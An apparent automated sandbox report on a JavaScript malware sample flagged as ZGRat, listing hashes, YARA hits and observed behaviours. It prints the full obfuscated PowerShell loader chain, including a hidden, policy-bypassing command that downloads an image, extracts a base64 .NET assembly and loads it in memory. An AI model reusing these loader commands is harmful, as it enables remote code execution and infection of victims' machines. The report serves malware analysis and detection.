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Analysis
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max time kernel
150s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20231020-en -
resource tags
arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system -
submitted
30/10/2023, 22:54
Static task
static1
Behavioral task
behavioral1
Sample
Coversheet_Estimate_Rsf38664.js
Resource
win7-20231020-en
General
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Target
Coversheet_Estimate_Rsf38664.js
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Size
205KB
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MD5
1ccf9ca9abc89e65e76f9b18999e26ef
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SHA1
7862d256a30b52e7a3436767a87f310de36d0af7
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SHA256
26828d3ea7e3871515fd25c9c5ca4306d3a5e19781d7228e8ee074e4ecb128a5
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SHA512
ab9242b042c3ee84b9ad8e86a443c92c45acaa81c92926b7a804b3ec8c0fb186b75d95a7a27d7830f9f15e474a262d90f10f5a5e007f6d42de2e279ed8299abe
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SSDEEP
3072:f4b5PAkV+hVJro/B0hsTSD5kyikiC+kQ6DLbi9u6uRSqFBeWpl:U1cqkF
Malware Config
Extracted
https://wallpapercave.com/uwp/uwp4098452.png
https://wallpapercave.com/uwp/uwp4098452.png
Signatures
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Detect ZGRat V1 34 IoCs
resource yara_rule behavioral2/memory/1244-26-0x000001BC4E1D0000-0x000001BC4E51A000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-27-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-28-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-30-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-32-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-34-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-36-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-38-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-40-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-42-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-44-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-46-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-48-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-51-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-53-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-55-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-57-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-59-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-61-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-63-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-65-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-67-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-70-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-73-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-75-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-77-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-79-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-81-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-84-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-86-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-88-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-90-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-92-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 behavioral2/memory/1244-94-0x000001BC4E1D0000-0x000001BC4E514000-memory.dmp family_zgrat_v1 -
Blocklisted process makes network request 1 IoCs
flow pid Process 19 1244 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 5040 powershell.exe 5040 powershell.exe 1244 powershell.exe 1244 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 5040 powershell.exe Token: SeDebugPrivilege 1244 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2020 wrote to memory of 5040 2020 wscript.exe 88 PID 2020 wrote to memory of 5040 2020 wscript.exe 88 PID 5040 wrote to memory of 1244 5040 powershell.exe 90 PID 5040 wrote to memory of 1244 5040 powershell.exe 90
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Coversheet_Estimate_Rsf38664.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2020 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J☪❞Bp☪❞G0☪❞YQBn☪❞GU☪❞VQBy☪❞Gw☪❞I☪❞☪❞9☪❞C☪❞☪❞JwBo☪❞HQ☪❞d☪❞Bw☪❞HM☪❞Og☪❞v☪❞C8☪❞dwBh☪❞Gw☪❞b☪❞Bw☪❞GE☪❞c☪❞Bl☪❞HI☪❞YwBh☪❞HY☪❞ZQ☪❞u☪❞GM☪❞bwBt☪❞C8☪❞dQB3☪❞H☪❞☪❞LwB1☪❞Hc☪❞c☪❞☪❞0☪❞D☪❞☪❞OQ☪❞4☪❞DQ☪❞NQ☪❞y☪❞C4☪❞c☪❞Bu☪❞Gc☪❞Jw☪❞7☪❞CQ☪❞dwBl☪❞GI☪❞QwBs☪❞Gk☪❞ZQBu☪❞HQ☪❞I☪❞☪❞9☪❞C☪❞☪❞TgBl☪❞Hc☪❞LQBP☪❞GI☪❞agBl☪❞GM☪❞d☪❞☪❞g☪❞FM☪❞eQBz☪❞HQ☪❞ZQBt☪❞C4☪❞TgBl☪❞HQ☪❞LgBX☪❞GU☪❞YgBD☪❞Gw☪❞aQBl☪❞G4☪❞d☪❞☪❞7☪❞CQ☪❞aQBt☪❞GE☪❞ZwBl☪❞EI☪❞eQB0☪❞GU☪❞cw☪❞g☪❞D0☪❞I☪❞☪❞k☪❞Hc☪❞ZQBi☪❞EM☪❞b☪❞Bp☪❞GU☪❞bgB0☪❞C4☪❞R☪❞Bv☪❞Hc☪❞bgBs☪❞G8☪❞YQBk☪❞EQ☪❞YQB0☪❞GE☪❞K☪❞☪❞k☪❞Gk☪❞bQBh☪❞Gc☪❞ZQBV☪❞HI☪❞b☪❞☪❞p☪❞Ds☪❞J☪❞Bp☪❞G0☪❞YQBn☪❞GU☪❞V☪❞Bl☪❞Hg☪❞d☪❞☪❞g☪❞D0☪❞I☪❞Bb☪❞FM☪❞eQBz☪❞HQ☪❞ZQBt☪❞C4☪❞V☪❞Bl☪❞Hg☪❞d☪❞☪❞u☪❞EU☪❞bgBj☪❞G8☪❞Z☪❞Bp☪❞G4☪❞ZwBd☪❞Do☪❞OgBV☪❞FQ☪❞Rg☪❞4☪❞C4☪❞RwBl☪❞HQ☪❞UwB0☪❞HI☪❞aQBu☪❞Gc☪❞K☪❞☪❞k☪❞Gk☪❞bQBh☪❞Gc☪❞ZQBC☪❞Hk☪❞d☪❞Bl☪❞HM☪❞KQ☪❞7☪❞CQ☪❞cwB0☪❞GE☪❞cgB0☪❞EY☪❞b☪❞Bh☪❞Gc☪❞I☪❞☪❞9☪❞C☪❞☪❞Jw☪❞8☪❞Dw☪❞QgBB☪❞FM☪❞RQ☪❞2☪❞DQ☪❞XwBT☪❞FQ☪❞QQBS☪❞FQ☪❞Pg☪❞+☪❞Cc☪❞Ow☪❞k☪❞GU☪❞bgBk☪❞EY☪❞b☪❞Bh☪❞Gc☪❞I☪❞☪❞9☪❞C☪❞☪❞Jw☪❞8☪❞Dw☪❞QgBB☪❞FM☪❞RQ☪❞2☪❞DQ☪❞XwBF☪❞E4☪❞R☪❞☪❞+☪❞D4☪❞Jw☪❞7☪❞CQ☪❞cwB0☪❞GE☪❞cgB0☪❞Ek☪❞bgBk☪❞GU☪❞e☪❞☪❞g☪❞D0☪❞I☪❞☪❞k☪❞Gk☪❞bQBh☪❞Gc☪❞ZQBU☪❞GU☪❞e☪❞B0☪❞C4☪❞SQBu☪❞GQ☪❞ZQB4☪❞E8☪❞Zg☪❞o☪❞CQ☪❞cwB0☪❞GE☪❞cgB0☪❞EY☪❞b☪❞Bh☪❞Gc☪❞KQ☪❞7☪❞CQ☪❞ZQBu☪❞GQ☪❞SQBu☪❞GQ☪❞ZQB4☪❞C☪❞☪❞PQ☪❞g☪❞CQ☪❞aQBt☪❞GE☪❞ZwBl☪❞FQ☪❞ZQB4☪❞HQ☪❞LgBJ☪❞G4☪❞Z☪❞Bl☪❞Hg☪❞TwBm☪❞Cg☪❞J☪❞Bl☪❞G4☪❞Z☪❞BG☪❞Gw☪❞YQBn☪❞Ck☪❞Ow☪❞k☪❞HM☪❞d☪❞Bh☪❞HI☪❞d☪❞BJ☪❞G4☪❞Z☪❞Bl☪❞Hg☪❞I☪❞☪❞t☪❞Gc☪❞ZQ☪❞g☪❞D☪❞☪❞I☪❞☪❞t☪❞GE☪❞bgBk☪❞C☪❞☪❞J☪❞Bl☪❞G4☪❞Z☪❞BJ☪❞G4☪❞Z☪❞Bl☪❞Hg☪❞I☪❞☪❞t☪❞Gc☪❞d☪❞☪❞g☪❞CQ☪❞cwB0☪❞GE☪❞cgB0☪❞Ek☪❞bgBk☪❞GU☪❞e☪❞☪❞7☪❞CQ☪❞cwB0☪❞GE☪❞cgB0☪❞Ek☪❞bgBk☪❞GU☪❞e☪❞☪❞g☪❞Cs☪❞PQ☪❞g☪❞CQ☪❞cwB0☪❞GE☪❞cgB0☪❞EY☪❞b☪❞Bh☪❞Gc☪❞LgBM☪❞GU☪❞bgBn☪❞HQ☪❞a☪❞☪❞7☪❞CQ☪❞YgBh☪❞HM☪❞ZQ☪❞2☪❞DQ☪❞T☪❞Bl☪❞G4☪❞ZwB0☪❞Gg☪❞I☪❞☪❞9☪❞C☪❞☪❞J☪❞Bl☪❞G4☪❞Z☪❞BJ☪❞G4☪❞Z☪❞Bl☪❞Hg☪❞I☪❞☪❞t☪❞C☪❞☪❞J☪❞Bz☪❞HQ☪❞YQBy☪❞HQ☪❞SQBu☪❞GQ☪❞ZQB4☪❞Ds☪❞J☪❞Bi☪❞GE☪❞cwBl☪❞DY☪❞N☪❞BD☪❞G8☪❞bQBt☪❞GE☪❞bgBk☪❞C☪❞☪❞PQ☪❞g☪❞CQ☪❞aQBt☪❞GE☪❞ZwBl☪❞FQ☪❞ZQB4☪❞HQ☪❞LgBT☪❞HU☪❞YgBz☪❞HQ☪❞cgBp☪❞G4☪❞Zw☪❞o☪❞CQ☪❞cwB0☪❞GE☪❞cgB0☪❞Ek☪❞bgBk☪❞GU☪❞e☪❞☪❞s☪❞C☪❞☪❞J☪❞Bi☪❞GE☪❞cwBl☪❞DY☪❞N☪❞BM☪❞GU☪❞bgBn☪❞HQ☪❞a☪❞☪❞p☪❞Ds☪❞J☪❞Bj☪❞G8☪❞bQBt☪❞GE☪❞bgBk☪❞EI☪❞eQB0☪❞GU☪❞cw☪❞g☪❞D0☪❞I☪❞Bb☪❞FM☪❞eQBz☪❞HQ☪❞ZQBt☪❞C4☪❞QwBv☪❞G4☪❞dgBl☪❞HI☪❞d☪❞Bd☪❞Do☪❞OgBG☪❞HI☪❞bwBt☪❞EI☪❞YQBz☪❞GU☪❞Ng☪❞0☪❞FM☪❞d☪❞By☪❞Gk☪❞bgBn☪❞Cg☪❞J☪❞Bi☪❞GE☪❞cwBl☪❞DY☪❞N☪❞BD☪❞G8☪❞bQBt☪❞GE☪❞bgBk☪❞Ck☪❞Ow☪❞k☪❞Gw☪❞bwBh☪❞GQ☪❞ZQBk☪❞EE☪❞cwBz☪❞GU☪❞bQBi☪❞Gw☪❞eQ☪❞g☪❞D0☪❞I☪❞Bb☪❞FM☪❞eQBz☪❞HQ☪❞ZQBt☪❞C4☪❞UgBl☪❞GY☪❞b☪❞Bl☪❞GM☪❞d☪❞Bp☪❞G8☪❞bg☪❞u☪❞EE☪❞cwBz☪❞GU☪❞bQBi☪❞Gw☪❞eQBd☪❞Do☪❞OgBM☪❞G8☪❞YQBk☪❞Cg☪❞J☪❞Bj☪❞G8☪❞bQBt☪❞GE☪❞bgBk☪❞EI☪❞eQB0☪❞GU☪❞cw☪❞p☪❞Ds☪❞J☪❞B0☪❞Hk☪❞c☪❞Bl☪❞C☪❞☪❞PQ☪❞g☪❞CQ☪❞b☪❞Bv☪❞GE☪❞Z☪❞Bl☪❞GQ☪❞QQBz☪❞HM☪❞ZQBt☪❞GI☪❞b☪❞B5☪❞C4☪❞RwBl☪❞HQ☪❞V☪❞B5☪❞H☪❞☪❞ZQ☪❞o☪❞Cc☪❞RgBp☪❞GI☪❞ZQBy☪❞C4☪❞S☪❞Bv☪❞G0☪❞ZQ☪❞n☪❞Ck☪❞Ow☪❞k☪❞G0☪❞ZQB0☪❞Gg☪❞bwBk☪❞C☪❞☪❞PQ☪❞g☪❞CQ☪❞d☪❞B5☪❞H☪❞☪❞ZQ☪❞u☪❞Ec☪❞ZQB0☪❞E0☪❞ZQB0☪❞Gg☪❞bwBk☪❞Cg☪❞JwBW☪❞EE☪❞SQ☪❞n☪❞Ck☪❞LgBJ☪❞G4☪❞dgBv☪❞Gs☪❞ZQ☪❞o☪❞CQ☪❞bgB1☪❞Gw☪❞b☪❞☪❞s☪❞C☪❞☪❞WwBv☪❞GI☪❞agBl☪❞GM☪❞d☪❞Bb☪❞F0☪❞XQ☪❞g☪❞Cg☪❞JwBN☪❞EM☪❞OQBt☪❞GU☪❞b☪❞BR☪❞Hc☪❞ZQBp☪❞Dk☪❞awBM☪❞DI☪❞VgBs☪❞Ew☪❞bQBW☪❞D☪❞☪❞Yw☪❞y☪❞EY☪❞dwBM☪❞Hk☪❞O☪❞☪❞2☪❞GM☪❞MwBC☪❞D☪❞☪❞Z☪❞BH☪❞Gc☪❞PQ☪❞n☪❞C☪❞☪❞L☪❞☪❞g☪❞Cc☪❞MQ☪❞n☪❞C☪❞☪❞L☪❞☪❞g☪❞Cc☪❞Jw☪❞g☪❞Cw☪❞I☪❞☪❞n☪❞Cc☪❞I☪❞☪❞s☪❞C☪❞☪❞Jw☪❞n☪❞C☪❞☪❞L☪❞☪❞g☪❞Cc☪❞Jw☪❞g☪❞Cw☪❞I☪❞☪❞n☪❞Cc☪❞KQ☪❞p☪❞☪❞==';$OWjuxd = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($codigo.repl"ace('☪❞','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxd"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5040 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4098452.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('MC9melQwei9kL2VlLmV0c2FwLy86c3B0dGg=' , '1' , '' , '' , '' , '' , ''))"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1244
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82